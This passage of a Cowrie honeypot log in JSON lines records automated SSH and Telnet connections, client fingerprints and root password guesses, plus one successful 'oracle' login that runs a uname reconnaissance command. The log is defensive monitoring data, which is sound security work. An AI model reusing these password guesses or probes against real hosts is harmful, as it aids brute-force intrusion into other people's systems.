-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:43.354485Z","src_ip":"43.128.106.207","session":"5445272247a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZXSW2","message":"login attempt [root/1QAZXSW2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:44.337209Z","src_ip":"43.128.106.207","session":"5445272247a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:44.393008Z","src_ip":"217.154.42.110","session":"d6effc2f4c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:45.577867Z","src_ip":"43.128.106.207","session":"5445272247a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44984,"dst_ip":"10.17.0.5","dst_port":23,"session":"297505c0d7c4","protocol":"telnet","message":"New connection: 192.119.13.58:44984 (10.17.0.5:23) [session: 297505c0d7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:47.574085Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61133,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef1f2283bc9d","protocol":"ssh","message":"New connection: 152.42.212.128:61133 (10.17.0.5:22) [session: ef1f2283bc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:50.686544Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:50.691152Z","src_ip":"152.42.212.128","session":"ef1f2283bc9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:50.694720Z","src_ip":"152.42.212.128","session":"ef1f2283bc9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":54326,"dst_ip":"10.17.0.5","dst_port":22,"session":"cffc84c19220","protocol":"ssh","message":"New connection: 168.144.95.137:54326 (10.17.0.5:22) [session: cffc84c19220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:53.770556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:53.775482Z","src_ip":"168.144.95.137","session":"cffc84c19220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:53.991421Z","src_ip":"168.144.95.137","session":"cffc84c19220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd123","message":"login attempt [root/asdasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:54.868312Z","src_ip":"168.144.95.137","session":"cffc84c19220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:56.084095Z","src_ip":"168.144.95.137","session":"cffc84c19220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":54190,"dst_ip":"10.17.0.5","dst_port":22,"session":"da3ecf753b06","protocol":"ssh","message":"New connection: 103.243.24.124:54190 (10.17.0.5:22) [session: da3ecf753b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:56.476630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:56.480378Z","src_ip":"103.243.24.124","session":"da3ecf753b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:56.686105Z","src_ip":"103.243.24.124","session":"da3ecf753b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2088","message":"login attempt [root/2088] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:57.099628Z","src_ip":"103.243.24.124","session":"da3ecf753b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:58.308752Z","src_ip":"103.243.24.124","session":"da3ecf753b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":47096,"dst_ip":"159.203.135.109","dst_port":22,"session":"58128bd3303c","protocol":"ssh","message":"New connection: 69.49.246.176:47096 (159.203.135.109:22) [session: 58128bd3303c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:58.801017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:58.806013Z","src_ip":"69.49.246.176","session":"58128bd3303c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:58.836592Z","src_ip":"69.49.246.176","session":"58128bd3303c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wolf","message":"login attempt [root/wolf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:58.981293Z","src_ip":"69.49.246.176","session":"58128bd3303c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":36012,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f0dfa2c11d8","protocol":"ssh","message":"New connection: 43.134.104.184:36012 (159.203.135.109:22) [session: 2f0dfa2c11d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:59.114445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:59.119329Z","src_ip":"43.134.104.184","session":"2f0dfa2c11d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:49:59.365347Z","src_ip":"43.134.104.184","session":"2f0dfa2c11d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:00.009554Z","src_ip":"69.49.246.176","session":"58128bd3303c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eric123","message":"login attempt [root/eric123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:00.383382Z","src_ip":"43.134.104.184","session":"2f0dfa2c11d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:01.633067Z","src_ip":"43.134.104.184","session":"2f0dfa2c11d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":37736,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec09b30d3392","protocol":"ssh","message":"New connection: 185.40.30.168:37736 (10.17.0.5:22) [session: ec09b30d3392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:02.562232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:02.567158Z","src_ip":"185.40.30.168","session":"ec09b30d3392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:02.692614Z","src_ip":"185.40.30.168","session":"ec09b30d3392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2017","message":"login attempt [root/admin@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:03.216362Z","src_ip":"185.40.30.168","session":"ec09b30d3392","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:04.350021Z","src_ip":"185.40.30.168","session":"ec09b30d3392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":45972,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6c33293e42a","protocol":"ssh","message":"New connection: 77.94.47.83:45972 (10.17.0.5:22) [session: a6c33293e42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:17.014177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:17.019732Z","src_ip":"77.94.47.83","session":"a6c33293e42a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:17.147973Z","src_ip":"77.94.47.83","session":"a6c33293e42a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":60638,"dst_ip":"159.203.135.109","dst_port":22,"session":"4750fa90d14f","protocol":"ssh","message":"New connection: 193.32.162.151:60638 (159.203.135.109:22) [session: 4750fa90d14f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:17.186267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:17.231511Z","src_ip":"193.32.162.151","session":"4750fa90d14f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:17.308702Z","src_ip":"193.32.162.151","session":"4750fa90d14f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999666","message":"login attempt [root/999666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:17.532530Z","src_ip":"77.94.47.83","session":"a6c33293e42a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle12345","message":"login attempt [oracle/oracle12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:17.722264Z","src_ip":"193.32.162.151","session":"4750fa90d14f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:18.000108Z","src_ip":"193.32.162.151","session":"4750fa90d14f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:18.003997Z","src_ip":"193.32.162.151","session":"4750fa90d14f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:18.117347Z","src_ip":"193.32.162.151","session":"4750fa90d14f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:18.124945Z","src_ip":"193.32.162.151","session":"4750fa90d14f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:18.666013Z","src_ip":"77.94.47.83","session":"a6c33293e42a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":47430,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20852f43637","protocol":"ssh","message":"New connection: 103.149.170.125:47430 (10.17.0.5:22) [session: b20852f43637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:32.826900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:50:32.832000Z","src_ip":"103.149.170.125","session":"b20852f43637","protocol":"ssh"}
